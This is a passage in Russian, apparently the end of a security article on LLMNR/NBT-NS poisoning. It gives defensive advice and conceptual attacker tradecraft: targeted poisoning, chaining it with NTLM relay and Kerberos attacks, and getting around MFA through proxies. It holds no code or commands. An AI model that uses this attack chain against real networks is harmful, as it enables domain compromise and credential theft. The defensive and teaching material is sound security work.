• Отказ от публичных скриптов в пользу кастомных, написанных на Go или C++.
• Более избирательная работа: не травить всё подряд, а ловить конкретные имена из разведки (например, имя корпоративного файлового хранилища).
• Использование слабых мест в реализации защит. Помните CVE-2019-1040? Патч на «Drop the MIC»? История продолжается. Всегда будут ошибки в сложных системах аутентификации.
• Комбинирование с другими, более «тихими» векторами. Например, спуфинг местоположения многофакторной аутентификации (МФА) через прокси-серверы, чтобы после перехвата NTLM не потребовался второй фактор.

Итог. Что делать?

Если вы защищаетесь:
Перестаньте думать, что это «базовая гигиена, которую все сделали». Отнеситесь к этому как к постоянному процессу охоты за призраками.

1. Аудит. Не доверяйте политикам. Сканируйте сеть (легально!) инструментами вроде Responder или Inveigh в режиме анализа (-A), чтобы увидеть, кто и что отравляет. Проверяйте абсолютно все устройства, включая принтеры и камеры.
2. Сегментация - ваш лучший друг. Изолируйте разные типы трафика. Не давайте рабочим станциям общаться друг с другом по SMB. Жёстко ограничьте broadcast-домены.
3. Убейте IPv6, если не используете. Глобально и бесповоротно. Это перекроет самый элегантный современный вектор.
4. Примиритесь с мыслью о включении SMB Signing везде. Протестируйте, найдите проблемы, решите их. Это самый тяжёлый, но самый эффективный барьер.
5. Мониторьте не события, а аномалии. Ищите не «отравление», а «один IP-адрес отвечает на слишком много разных NetBIOS-запросов». Ищите попытки аутентификации с рабочих станций на другие рабочие станции.

Если вы атакуете (в рамках закона, естественно):
Это ваш штемпель, ваш скальпель для вскрытия сети.

1. Это всегда шаг №0. Прежде чем гонять сканеры уязвимостей, прежде чем заниматься фишингом - слушайте. Просто слушайте сеть. Запустите пассивный сбор. Вы будете поражены тем, что услышите.
2. Интеллект - это всё. Не бросайтесь в бой. Узнайте схему сети, политики, используемые имена ресурсов. Ваша атака должна быть точечной и незаметной, как укус комара, а не как удар дубиной.
3. Сочетайте, комбинируйте, импровизируйте. Не зацикливайтесь на одном инструменте. Свяжите отравление с Relay, Relay - с эксплуатацией привилегий, полученные данные - с атакой на Kerberos. LLMNR/NBT-NS - это не самоцель, это пусковой механизм для всей цепочки взлома домена.
4. Уважайте сеть. Ваша задача - доказать уязвимость, а не обрушить инфраструктуру. Умный редирект трафика важнее грубого захвата всех хэшей подряд.

Заключительная мысль:

LLMNR/NBT-NS - это больше чем протоколы. Это - архетип. Архетип уязвимости, рождённой из конфликта между безопасностью и совместимостью, между централизованным управлением и распределённым хаосом реального мира, между желанием создать идеальную крепость и необходимостью оставить в стене дверь для мусоровоза.

Пока существуют компьютерные сети, в них будут такие «двери» - легаси-функции, доверчивые протоколы, неявно доверяющие сегменты. Наша работа - как охотников, так и стражей - понимать эти архетипы. Не просто зазубривать команды для Responder, а видеть принцип: где в этой системе есть слепое доверие? Где она кричит в пустоту, надеясь на честность любого, кто ответит?

Этот конкретный «труп» может со временем окончательно разложиться. Но принцип, который он олицетворяет, будет перевоплощаться снова и снова: в облачных конфигурациях, в микросервисных шинах, в IoT-протоколах. Принцип слепого доверия в локальном сегменте вечен.

Поэтому сохраняйте хакерскую эмпатию: умение думать как система, чтобы найти в ней слабину. И сохраняйте иронию: осознавать, что самые неприступные стены часто имеют потайную калитку, которую забыли закрыть просто потому, что её рисовали на чертеже десять лет назад.

Держите свои инструменты острыми, а ум - гибким. И помните: самая громкая тишина - это эфир, в котором никто не слушает, пока кто-то другой не начнёт отвечать.